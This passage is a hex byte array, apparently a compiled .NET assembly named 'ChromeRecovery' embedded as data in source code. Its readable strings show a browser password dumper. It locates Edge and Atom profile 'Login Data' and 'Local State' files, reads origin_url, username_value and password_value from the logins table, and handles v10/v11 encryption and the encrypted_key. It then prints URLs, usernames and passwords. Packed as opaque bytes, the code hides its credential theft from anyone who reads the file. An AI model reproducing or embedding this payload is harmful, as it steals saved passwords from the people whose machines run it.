0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72,\n\t0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00,\n\t0x1B, 0x45, 0x00, 0x64, 0x00, 0x67, 0x00, 0x65, 0x00, 0x20, 0x00, 0x43,\n\t0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x75,\n\t0x00, 0x6D, 0x00, 0x00, 0x31, 0x4D, 0x00, 0x69, 0x00, 0x63, 0x00, 0x72,\n\t0x00, 0x6F, 0x00, 0x73, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x74, 0x00, 0x5C,\n\t0x00, 0x45, 0x00, 0x64, 0x00, 0x67, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x55,\n\t0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61,\n\t0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0F, 0x4D, 0x00, 0x61, 0x00, 0x69,\n\t0x00, 0x6C, 0x00, 0x2E, 0x00, 0x52, 0x00, 0x75, 0x00, 0x00, 0x2D, 0x4D,\n\t0x00, 0x61, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x2E, 0x00, 0x52, 0x00, 0x75,\n\t0x00, 0x5C, 0x00, 0x41, 0x00, 0x74, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x5C,\n\t0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44,\n\t0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0D, 0x6C, 0x00, 0x6F,\n\t0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x00, 0x15, 0x6F,\n\t0x00, 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x5F,\n\t0x00, 0x75, 0x00, 0x72, 0x00, 0x6C, 0x00, 0x00, 0x1D, 0x75, 0x00, 0x73,\n\t0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65,\n\t0x00, 0x5F, 0x00, 0x76, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x75, 0x00, 0x65,\n\t0x00, 0x00, 0x1D, 0x70, 0x00, 0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 0x77,\n\t0x00, 0x6F, 0x00, 0x72, 0x00, 0x64, 0x00, 0x5F, 0x00, 0x76, 0x00, 0x61,\n\t0x00, 0x6C, 0x00, 0x75, 0x00, 0x65, 0x00, 0x00, 0x07, 0x76, 0x00, 0x31,\n\t0x00, 0x30, 0x00, 0x00, 0x07, 0x76, 0x00, 0x31, 0x00, 0x31, 0x00, 0x00,\n\t0x0F, 0x70, 0x00, 0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 0x77, 0x00, 0x31,\n\t0x00, 0x30, 0x00, 0x00, 0x07, 0x77, 0x00, 0x31, 0x00, 0x30, 0x00, 0x00,\n\t0x27, 0x5C, 0x00, 0x44, 0x00, 0x65, 0x00, 0x66, 0x00, 0x61, 0x00, 0x75,\n\t0x00, 0x6C, 0x00, 0x74, 0x00, 0x5C, 0x00, 0x4C, 0x00, 0x6F, 0x00, 0x67,\n\t0x00, 0x69, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74,\n\t0x00, 0x61, 0x00, 0x00, 0x29, 0x5C, 0x00, 0x44, 0x00, 0x65, 0x00, 0x66,\n\t0x00, 0x61, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x74, 0x00, 0x5C, 0x00, 0x4C,\n\t0x00, 0x6F, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x44,\n\t0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x31, 0x00, 0x00, 0x37, 0x5C,\n\t0x00, 0x44, 0x00, 0x65, 0x00, 0x66, 0x00, 0x61, 0x00, 0x75, 0x00, 0x6C,\n\t0x00, 0x74, 0x00, 0x5C, 0x00, 0x4C, 0x00, 0x6F, 0x00, 0x67, 0x00, 0x69,\n\t0x00, 0x6E, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61,\n\t0x00, 0x5F, 0x00, 0x44, 0x00, 0x65, 0x00, 0x63, 0x00, 0x72, 0x00, 0x79,\n\t0x00, 0x70, 0x00, 0x74, 0x00, 0x00, 0x17, 0x5C, 0x00, 0x4C, 0x00, 0x6F,\n\t0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61,\n\t0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x19, 0x5C, 0x00, 0x4C, 0x00, 0x6F,\n\t0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61,\n\t0x00, 0x74, 0x00, 0x61, 0x00, 0x31, 0x00, 0x00, 0x27, 0x5C, 0x00, 0x4C,\n\t0x00, 0x6F, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x44,\n\t0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x5F, 0x00, 0x44, 0x00, 0x65,\n\t0x00, 0x63, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x00,\n\t0x0F, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x69, 0x00, 0x6C,\n\t0x00, 0x65, 0x00, 0x00, 0x19, 0x5C, 0x00, 0x4C, 0x00, 0x6F, 0x00, 0x63,\n\t0x00, 0x61, 0x00, 0x6C, 0x00, 0x20, 0x00, 0x53, 0x00, 0x74, 0x00, 0x61,\n\t0x00, 0x74, 0x00, 0x65, 0x00, 0x00, 0x2F, 0x22, 0x00, 0x65, 0x00, 0x6E,\n\t0x00, 0x63, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x65,\n\t0x00, 0x64, 0x00, 0x5F, 0x00, 0x6B, 0x00, 0x65, 0x00, 0x79, 0x00, 0x22,\n\t0x00, 0x3A, 0x00, 0x22, 0x00, 0x28, 0x00, 0x2E, 0x00, 0x2A, 0x00, 0x3F,\n\t0x00, 0x29, 0x00, 0x22, 0x00, 0x00, 0x0B, 0x55, 0x00, 0x72, 0x00, 0x6C,\n\t0x00, 0x3A, 0x00, 0x20, 0x00, 0x00, 0x15, 0x55, 0x00, 0x73, 0x00, 0x65,\n\t0x00, 0x72, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x3A,\n\t0x00, 0x20, 0x00, 0x00, 0x15, 0x50, 0x00, 0x61, 0x00, 0x73, 0x00, 0x73,\n\t0x00, 0x77, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x64, 0x00, 0x3A, 0x00, 0x20,\n\t0x00, 0x00, 0x1B, 0x41, 0x00, 0x70, 0x00, 0x70, 0x00, 0x6C, 0x00, 0x69,\n\t0x00, 0x63, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E,\n\t0x00, 0x3A, 0x00, 0x20, 0x00, 0x00, 0x3B, 0x3D, 0x00, 0x3D, 0x00, 0x3D,\n\t0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D,\n\t0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D,\n\t0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D,\n\t0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D,\n\t0x00, 0x3D, 0x00, 0x3D, 0x00, 0x00, 0x1F, 0x53, 0x00, 0x51, 0x00, 0x4C,\n\t0x00, 0x69, 0x00, 0x74, 0x00, 0x65, 0x00, 0x20, 0x00, 0x66, 0x00, 0x6F,\n\t0x00, 0x72, 0x00, 0x6D, 0x00, 0x61, 0x00, 0x74, 0x00, 0x20, 0x00, 0x33,\n\t0x00, 0x00, 0x45, 0x4E, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x20, 0x00, 0x61,\n\t0x00, 0x20, 0x00, 0x76, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x64,\n\t0x00, 0x20, 0x00, 0x53, 0x00, 0x51, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x74,\n\t0x00, 0x65, 0x00, 0x20, 0x00, 0x33, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61,\n\t0x00, 0x74, 0x00, 0x61, 0x00, 0x62, 0x00, 0x61, 0x00, 0x73, 0x00, 0x65,\n\t0x00, 0x20, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x00,\n\t0x5B, 0x41, 0x00, 0x75, 0x00, 0x74, 0x00, 0x6F, 0x00, 0x2D, 0x00, 0x76,\n\t0x00, 0x61, 0x00, 0x63, 0x00, 0x75, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x20,\n\t0x00, 0x63, 0x00, 0x61, 0x00, 0x70, 0x00, 0x61, 0x00, 0x62, 0x00, 0x6C,\n\t0x00, 0x65, 0x00, 0x20, 0x00, 0x64, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61,\n\t0x00, 0x62, 0x00, 0x61, 0x00, 0x73, 0x00, 0x65, 0x00, 0x20, 0x00, 0x69,\n\t0x00, 0x73, 0x00, 0x20, 0x00, 0x6E, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x20,\n\t0x00, 0x73, 0x00, 0x75, 0x00, 0x70, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x72,\n\t0x00, 0x74, 0x00, 0x65, 0x00, 0x64, 0x00, 0x01, 0x0B, 0x74, 0x00, 0x61,\n\t0x00, 0x62, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x00, 0x03, 0x28, 0x00, 0x00,\n\t0x03, 0x20, 0x00, 0x00, 0x0D, 0x55, 0x00, 0x4E, 0x00, 0x49, 0x00, 0x51,\n\t0x00, 0x55, 0x00, 0x45, 0x00, 0x00, 0x00, 0x00, 0x5B, 0x77, 0x6F, 0xF7,\n\t0xFD, 0xBE, 0xD1, 0x48, 0xBC, 0x61, 0x9B, 0x02, 0xAF, 0x5D, 0xC7, 0x8B,\n\t0x00, 0x04, 0x20, 0x01, 0x01, 0x08, 0x03, 0x20, 0x00, 0x01, 0x05, 0x20,\n\t0x01, 0x01, 0x11, 0x11, 0x04, 0x20, 0x01, 0x01, 0x0E, 0x04, 0x20, 0x01,\n\t0x01, 0x02, 0x12, 0x07, 0x04, 0x15, 0x12, 0x41, 0x01, 0x1D, 0x1C, 0x15,\n\t0x11, 0x45, 0x01, 0x12, 0x0C, 0x12, 0x0C, 0x1D, 0x1C, 0x06, 0x15, 0x12,\n\t0x41, 0x01, 0x1D, 0x1C, 0x06, 0x15, 0x12, 0x41, 0x01, 0x12, 0x0C, 0x08,\n\t0x20, 0x00, 0x15, 0x11, 0x45, 0x01, 0x13, 0x00, 0x06, 0x15, 0x11, 0x45,\n\t0x01, 0x12, 0x0C, 0x04, 0x20, 0x00, 0x13, 0x00, 0x04, 0x00, 0x00, 0x12,\n\t0x75, 0x05, 0x20, 0x01, 0x1D, 0x05, 0x0E, 0x05, 0x20, 0x01, 0x0E, 0x1D,\n\t0x05, 0x05, 0x20, 0x01, 0x01, 0x13, 0x00, 0x03, 0x20, 0x00, 0x02, 0x0F,\n\t0x07, 0x09, 0x18, 0x18, 0x18, 0x1D, 0x05, 0x11, 0x2C, 0x11, 0x2C, 0x1D,\n\t0x05, 0x08, 0x09, 0x05, 0x00, 0x02, 0x0E, 0x0E, 0x1C, 0x04, 0x00, 0x01,\n\t0x01, 0x18, 0x04, 0x07, 0x01, 0x1D, 0x05, 0x06, 0x00, 0x02, 0x08, 0x1D,\n\t0x05, 0x08, 0x06, 0x07, 0x03, 0x18, 0x09, 0x1D, 0x05, 0x02, 0x06, 0x18,\n\t0x07, 0x07, 0x04, 0x08, 0x18, 0x1D, 0x05, 0x09, 0x04, 0x00, 0x01, 0x18,\n\t0x08, 0x02, 0x1D, 0x05, 0x05, 0x00, 0x01, 0x1D, 0x05, 0x08, 0x06, 0x07,\n\t0x03, 0x08, 0x09, 0x1D, 0x05, 0x0E, 0x07, 0x07, 0x08, 0x1D, 0x05, 0x08,\n\t0x1D, 0x1D, 0x05, 0x08, 0x1D, 0x05, 0x1D, 0x05, 0x0C, 0x00, 0x05, 0x01,\n\t0x12, 0x80, 0x99, 0x08, 0x12, 0x80, 0x99, 0x08, 0x08, 0x14, 0x07, 0x03,\n\t0x15, 0x12, 0x41, 0x01, 0x12, 0x0C, 0x15, 0x11, 0x5D, 0x02, 0x0E, 0x0E,\n\t0x15, 0x11, 0x61, 0x02, 0x0E, 0x0E, 0x06, 0x15, 0x12, 0x59, 0x02, 0x0E,\n\t0x0E, 0x05, 0x00, 0x02, 0x0E, 0x0E, 0x0E, 0x07, 0x20, 0x02, 0x01, 0x13,\n\t0x00, 0x13, 0x01, 0x0A, 0x20, 0x00, 0x15, 0x11, 0x5D, 0x02, 0x13, 0x00,\n\t0x13, 0x01, 0x06, 0x15, 0x11, 0x5D, 0x02, 0x0E, 0x0E, 0x0A, 0x20, 0x00,\n\t0x15, 0x11, 0x61, 0x02, 0x13, 0x00, 0x13, 0x01, 0x06, 0x15, 0x11, 0x61,\n\t0x02, 0x0E, 0x0E, 0x04, 0x20, 0x00, 0x13, 0x01, 0x0A, 0x20, 0x01, 0x01,\n\t0x15, 0x12, 0x80, 0xA1, 0x01, 0x13, 0x00, 0x14, 0x07, 0x0A, 0x15, 0x12,\n\t0x41, 0x01, 0x12, 0x0C, 0x1D, 0x0E, 0x08, 0x0E, 0x12, 0x20, 0x08, 0x0E,\n\t0x0E, 0x0E, 0x1D, 0x05, 0x05, 0x15, 0x12, 0x41, 0x01, 0x0E, 0x05, 0x20,\n\t0x00, 0x1D, 0x13, 0x00, 0x04, 0x00, 0x01, 0x02, 0x0E, 0x03, 0x20, 0x00,\n\t0x0E, 0x04, 0x00, 0x01, 0x01, 0x0E, 0x04, 0x20, 0x01, 0x02, 0x0E, 0x06,\n\t0x00, 0x01, 0x12, 0x80, 0xB1, 0x0E, 0x05, 0x20, 0x00, 0x12, 0x80, 0xB1,\n\t0x0B, 0x07, 0x04, 0x15, 0x12, 0x41, 0x01, 0x0E, 0x1D, 0x0E, 0x08, 0x0E,\n\t0x05, 0x00, 0x01, 0x1D, 0x0E, 0x0E, 0x0D, 0x07, 0x06, 0x1D, 0x05, 0x1D,\n\t0x05, 0x1D, 0x05, 0x1D, 0x05, 0x12, 0x10, 0x0E, 0x0F, 0x07, 0x07, 0x0E,\n\t0x1D, 0x05, 0x1D, 0x05, 0x12, 0x69, 0x12, 0x6D, 0x12, 0x55, 0x1D, 0x05,\n\t0x07, 0x20, 0x02, 0x01, 0x0E, 0x11, 0x80, 0xBD, 0x04, 0x00, 0x01, 0x0E,\n\t0x0E, 0x06, 0x20, 0x01, 0x12, 0x80, 0xC1, 0x0E, 0x04, 0x20, 0x00, 0x12,\n\t0x69, 0x03, 0x20, 0x00, 0x1C, 0x05, 0x20, 0x00, 0x12, 0x80, 0xC9, 0x06,\n\t0x20, 0x01, 0x12, 0x80, 0xC5, 0x08, 0x05, 0x00, 0x01, 0x1D, 0x05, 0x0E,\n\t0x0B, 0x00, 0x03, 0x1D, 0x05, 0x1D, 0x05, 0x1D, 0x05, 0x11, 0x80, 0xD9,\n\t0x03, 0x07, 0x01, 0x0E, 0x03, 0x20, 0x00, 0x08, 0x06, 0x00, 0x01, 0x0E,\n\t0x11, 0x80, 0xE1, 0x0A, 0x07, 0x02, 0x15, 0x11, 0x45, 0x01, 0x12, 0x0C,\n\t0x12, 0x0C, 0x05, 0x00, 0x00, 0x11, 0x80, 0xE5, 0x09, 0x00, 0x02, 0x01,\n\t0x12, 0x80, 0x99, 0x11, 0x80, 0xED, 0x0F, 0x00, 0x06, 0x01, 0x08, 0x0E,\n\t0x11, 0x80, 0xF5, 0x11, 0x80, 0xF9, 0x11, 0x80, 0xFD, 0x08, 0x04, 0x00,\n\t0x01, 0x0A, 0x08, 0x04, 0x00, 0x01, 0x0E, 0x08, 0x08, 0x00, 0x04, 0x01,\n\t0x08, 0x10, 0x0E, 0x0A, 0x02, 0x05, 0x00, 0x01, 0x01, 0x1D, 0x08, 0x07,\n\t0x20, 0x03, 0x0E, 0x1D, 0x05, 0x08, 0x08, 0x04, 0x20, 0x01, 0x08, 0x0E,\n\t0x04, 0x20, 0x01, 0x01, 0x0B, 0x04, 0x06, 0x11, 0x81, 0x09, 0x09, 0x00,\n\t0x02, 0x08, 0x11, 0x81, 0x09, 0x11, 0x81, 0x09, 0x05, 0x07, 0x03, 0x0B,\n\t0x08, 0x08, 0x0B, 0x07, 0x08, 0x1D, 0x05, 0x08, 0x02, 0x08, 0x08, 0x08,\n\t0x08, 0x08, 0x06, 0x00, 0x02, 0x0A, 0x1D, 0x05, 0x08, 0x07, 0x07, 0x04,\n\t0x1D, 0x0E, 0x08, 0x08, 0x08, 0x05, 0x00, 0x02, 0x02, 0x0E, 0x0E, 0x0B,\n\t0x00, 0x02, 0x12, 0x80, 0x99, 0x12, 0x80, 0x99, 0x12, 0x80, 0x99, 0x02,\n\t0x1D, 0x0E, 0x05, 0x07, 0x03, 0x08, 0x08, 0x08, 0x04, 0x07, 0x02, 0x08,\n\t0x08, 0x10, 0x07, 0x0D, 0x07, 0x08, 0x08, 0x08, 0x0B, 0x08, 0x08, 0x0A,\n\t0x1D, 0x0A, 0x08, 0x08, 0x08, 0x07, 0x0B, 0x00, 0x02, 0x11, 0x81, 0x09,\n\t0x11, 0x81, 0x09, 0x11, 0x81, 0x09, 0x06, 0x00, 0x01, 0x08, 0x11, 0x81,\n\t0x09, 0x06, 0x00, 0x01, 0x07, 0x11, 0x81, 0x09, 0x03, 0x1D, 0x11, 0x3C,\n\t0x06, 0x00, 0x01, 0x0B, 0x11, 0x81, 0x09, 0x04, 0x00, 0x01, 0x0D, 0x0D,\n\t0x04, 0x20, 0x01, 0x01, 0x0A, 0x0A, 0x07, 0x07, 0x08, 0x08, 0x1D, 0x0E,\n\t0x08, 0x08, 0x08, 0x08, 0x04, 0x20, 0x01, 0x0E, 0x08, 0x06, 0x20, 0x01,\n\t0x1D, 0x0E, 0x1D, 0x03, 0x05, 0x20, 0x01, 0x0E, 0x1D, 0x03, 0x05, 0x20,\n\t0x02, 0x0E, 0x08, 0x08, 0x15, 0x07, 0x11, 0x08, 0x08, 0x08, 0x08, 0x1D,\n\t0x11, 0x38, 0x0B, 0x08, 0x08, 0x0A, 0x0A, 0x08, 0x08, 0x08, 0x08, 0x08,\n\t0x08, 0x07, 0x03, 0x1D, 0x11, 0x40, 0x06, 0x00, 0x01, 0x0A, 0x11, 0x81,\n\t0x09, 0x03, 0x1D, 0x11, 0x38, 0x04, 0x00, 0x01, 0x0E, 0x0B, 0x08, 0x00,\n\t0x01, 0x12, 0x81, 0x21, 0x11, 0x81, 0x25, 0x06, 0x00, 0x01, 0x08, 0x12,\n\t0x81, 0x21, 0x08, 0x00, 0x04, 0x01, 0x1D, 0x05, 0x08, 0x18, 0x08, 0x05,\n\t0x00, 0x02, 0x02, 0x18, 0x18, 0x08, 0xB7, 0x7A, 0x5C, 0x56, 0x19, 0x34,\n\t0xE0, 0x89, 0x08, 0xB0, 0x3F, 0x5F, 0x7F, 0x11, 0xD5, 0x0A, 0x3A, 0x04,\n\t0x00, 0x00, 0x00, 0x00, 0x04, 0x08, 0x00, 0x00, 0x00, 0x04, 0x04, 0x00,\n\t0x00, 0x00, 0x0C, 0x6C, 0x00, 0x6F, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E,\n\t0x00, 0x73, 0x00, 0x01, 0x15, 0x02, 0x06, 0x0E, 0x02, 0x06, 0x09, 0x03,\n\t0x06, 0x1D, 0x05, 0x02, 0x06, 0x08, 0x02, 0x06, 0x0B, 0x03, 0x06, 0x1D,\n\t0x0E, 0x04, 0x06, 0x1D, 0x11, 0x3C, 0x02, 0x06, 0x07, 0x04, 0x06, 0x1D,\n\t0x11, 0x40, 0x03, 0x06, 0x11, 0x44, 0x02, 0x06, 0x0A, 0x08, 0x00, 0x00,\n\t0x15, 0x12, 0x41, 0x01, 0x1D, 0x1C, 0x0E, 0x20, 0x05, 0x1D, 0x05, 0x1D,\n\t0x05, 0x1D, 0x05, 0x1D, 0x05, 0x1D, 0x05, 0x1D, 0x05, 0x04, 0x20, 0x01,\n\t0x08, 0x18, 0x06, 0x20, 0x03, 0x18, 0x0E, 0x0E, 0x0E, 0x08, 0x20, 0x03,\n\t0x18, 0x18, 0x1D, 0x05, 0x10, 0x18, 0x06, 0x20, 0x02, 0x1D, 0x05, 0x18,\n\t0x0E, 0x07, 0x20, 0x01, 0x1D, 0x05, 0x1D, 0x1D, 0x05, 0x08, 0x00, 0x04,\n\t0x09, 0x10, 0x18, 0x0E, 0x0E, 0x09, 0x05, 0x00, 0x02, 0x09, 0x18, 0x09,\n\t0x0B, 0x00, 0x06, 0x09, 0x18, 0x0E, 0x1D, 0x05, 0x08, 0x10, 0x08, 0x09,\n\t0x09, 0x00, 0x05, 0x09, 0x18, 0x0E, 0x1D, 0x05, 0x08, 0x08, 0x0E, 0x00,\n\t0x09, 0x09, 0x18, 0x18, 0x0E, 0x10, 0x18, 0x18, 0x08, 0x1D, 0x05, 0x08,\n\t0x09, 0x04, 0x00, 0x01, 0x09, 0x18, 0x13, 0x00, 0x0A, 0x09, 0x18, 0x1D,\n\t0x05, 0x08, 0x10, 0x11, 0x2C, 0x1D, 0x05, 0x08, 0x1D, 0x05, 0x08, 0x10,\n\t0x08, 0x09, 0x13, 0x00, 0x0A, 0x09, 0x18, 0x1D, 0x05, 0x08, 0x10, 0x11,\n\t0x2C, 0x1D, 0x05, 0x08, 0x1D, 0x05, 0x08, 0x10, 0x08, 0x08, 0x03, 0x00,\n\t0x00, 0x01, 0x08, 0x00, 0x00, 0x15, 0x12, 0x41, 0x01, 0x12, 0x0C, 0x0B,\n\t0x00, 0x03, 0x15, 0x12, 0x41, 0x01, 0x12, 0x0C, 0x0E, 0x0E, 0x0E, 0x08,\n\t0x00, 0x01, 0x15, 0x12, 0x41, 0x01, 0x0E, 0x0E, 0x07, 0x00, 0x02, 0x0E,\n\t0x1D, 0x05, 0x1D, 0x05, 0x05, 0x00, 0x01, 0x01, 0x1D, 0x0E, 0x05, 0x20,\n\t0x02, 0x0B, 0x08, 0x08, 0x05, 0x20, 0x02, 0x0A, 0x08, 0x08, 0x04, 0x20,\n\t0x00, 0x1D, 0x0E, 0x05, 0x20, 0x02, 0x0E, 0x08, 0x0E, 0x04, 0x20, 0x01,\n\t0x08, 0x08, 0x04, 0x20, 0x01, 0x02, 0x0A, 0x04, 0x20, 0x01, 0x02, 0x0B,\n\t0x05, 0x20, 0x02, 0x01, 0x0E, 0x08, 0x09, 0x20, 0x03, 0x01, 0x1D, 0x05,\n\t0x1D, 0x05, 0x1D, 0x05, 0x03, 0x28, 0x00, 0x0E, 0x08, 0x01, 0x00, 0x08,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x01, 0x00, 0x01, 0x00, 0x54, 0x02,\n\t0x16, 0x57, 0x72, 0x61, 0x70, 0x4E, 0x6F, 0x6E, 0x45, 0x78, 0x63, 0x65,\n\t0x70, 0x74, 0x69, 0x6F, 0x6E, 0x54, 0x68, 0x72, 0x6F, 0x77, 0x73, 0x01,\n\t0x08, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, 0x01, 0x00,\n\t0x0E, 0x43, 0x68, 0x72, 0x6F, 0x6D, 0x65, 0x52, 0x65, 0x63, 0x6F, 0x76,\n\t0x65, 0x72, 0x79, 0x00, 0x00, 0x05, 0x01, 0x00, 0x00, 0x00, 0x00, 0x17,\n\t0x01, 0x00, 0x12, 0x43, 0x6F, 0x70, 0x79, 0x72, 0x69, 0x67, 0x68, 0x74,\n\t0x20, 0xC2, 0xA9, 0x20, 0x20, 0x32, 0x30, 0x32, 0x30, 0x00, 0x00, 0x29,\n\t0x01, 0x00, 0x24, 0x63, 0x33, 0x39, 0x63, 0x63, 0x62, 0x33, 0x36, 0x2D,\n\t0x64, 0x61, 0x34, 0x39, 0x2D, 0x34, 0x36, 0x30, 0x65, 0x2D, 0x39, 0x38,\n\t0x65, 0x63, 0x2D, 0x64, 0x66, 0x39, 0x65, 0x61, 0x33, 0x39, 0x34, 0x61,\n\t0x64, 0x34, 0x35, 0x00, 0x00, 0x0C, 0x01, 0x00, 0x07, 0x31, 0x2E, 0x30,\n\t0x2E, 0x30, 0x2E, 0x30, 0x00, 0x00, 0x04, 0x01, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0xA8, 0x7A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0xC2, 0x7A, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB4, 0x7A, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5F, 0x43,\n\t0x6F, 0x72, 0x44, 0x6C, 0x6C, 0x4D, 0x61, 0x69, 0x6E, 0x00, 0x6D, 0x73,\n\t0x63, 0x6F, 0x72, 0x65, 0x65, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0xFF, 0x25, 0x00, 0x20, 0x00, 0x10, 0x00, 0x01, 0x02, 0x03,\n\t0x04, 0x06, 0x08, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 